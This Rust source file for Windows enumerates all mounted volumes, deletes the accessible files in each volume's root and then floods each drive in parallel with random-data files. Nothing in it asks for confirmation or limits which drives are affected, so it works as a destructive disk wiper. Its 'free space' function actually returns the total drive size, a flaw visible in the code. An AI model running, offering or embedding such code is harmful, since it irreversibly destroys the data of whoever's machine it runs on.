extern crate rand;
extern crate rayon;
extern crate winapi;

use find_volume::get_all_volumes;
use rand::Rng;
use rayon::prelude::*;
use winapi::um::fileapi::GetDiskFreeSpaceExW;
use winapi::um::winnt::ULARGE_INTEGER;
use std::fs::{self, File};
use std::io::{self, Write};
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;

pub mod find_volume;

const CHUNK_SIZE: usize = 1024 * 1024; // 1 MB chunks

fn delete_accessible_files(drive_path: &str) -> io::Result<()> {
    for entry in fs::read_dir(drive_path)? {
        let entry = entry?;
        let path = entry.path();
        if path.is_file() {
            if let Err(e) = fs::remove_file(&path) {
                if e.kind() != io::ErrorKind::PermissionDenied {
                    eprintln!("Failed to delete file {:?}: {:?}", path, e);
                }
            }
        }
    }
    Ok(())
}

fn get_drive_free_space(drive_path: &str) -> io::Result<u64> {
    let drive_path_wide: Vec<u16> = OsStr::new(drive_path)
        .encode_wide()
        .chain(Some(0))
        .collect();

    let mut free_bytes_available_to_caller: ULARGE_INTEGER = unsafe { std::mem::zeroed() };
    let mut total_number_of_bytes: ULARGE_INTEGER = unsafe { std::mem::zeroed() };
    let mut total_number_of_free_bytes: ULARGE_INTEGER = unsafe { std::mem::zeroed() };

    unsafe {
    if GetDiskFreeSpaceExW(
        drive_path_wide.as_ptr(),
        &mut free_bytes_available_to_caller,
        &mut total_number_of_bytes,
        &mut total_number_of_free_bytes,
    ) == 0 
    {
        return Err(io::Error::last_os_error());
    }

    Ok(*total_number_of_bytes.QuadPart())
    }
}

fn parallel_processing(drive_path: &str) -> std::io::Result<()>{
    
    eprintln!("Processing drive: {}", drive_path);

    if let Err(e) = delete_accessible_files(drive_path) {
        eprintln!("Failed to delete accessible files on {}: {:?}", drive_path, e);
    }

    // Get drive total space
    match get_drive_free_space(drive_path) {
        Ok(disk_space) => {
            eprintln!("Drive {} has {} bytes of total space.", drive_path, disk_space);

            // Calculate how many chunks we can write
            let chunks_count = (disk_space / CHUNK_SIZE as u64) as usize;
            eprintln!("Will write {} chunks of {} bytes each on {}.", chunks_count, CHUNK_SIZE, drive_path);

            // Use Rayon for parallelism
            (0..chunks_count).into_par_iter().for_each(|chunk| {
                let file_path = format!("{}\\{}.dat", drive_path, chunk);
                match File::create(&file_path) {
                    Ok(mut file) => {
                        let mut rng = rand::thread_rng();
                        let mut buffer = vec![0u8; CHUNK_SIZE];
                        rng.fill(&mut buffer[..]);
                        
                        if let Err(e) = file.write_all(&buffer) {
                            eprintln!("Failed to write to {:?}: {:?}", file_path, e);
                        }
                    },
                    Err(e) => {
                        eprintln!("Failed to create file {:?}: {:?}", file_path, e);
                    }
                }
            });

            eprintln!("Process completed for drive {}.", drive_path);
        },
        Err(e) => {
            eprintln!("Failed to get free space for {}: {:?}", drive_path, e);
        }
    }

    Ok(())
}

fn main() -> io::Result<()> {
    
    let volumes: Vec<std::ffi::OsString> = get_all_volumes();

    println!("{:?}", volumes);


    for volume in volumes.iter() {
        if let Some(drive_path) = volume.to_str(){
            match parallel_processing(drive_path){
                Ok(_) => continue,
                Err(e) => {
                    println!("Error while filling random bytes: {}", e);
                    std::process::exit(0x100);
                },
            }
        } 
    }
    eprintln!("Data filling completed");

    Ok(())
}
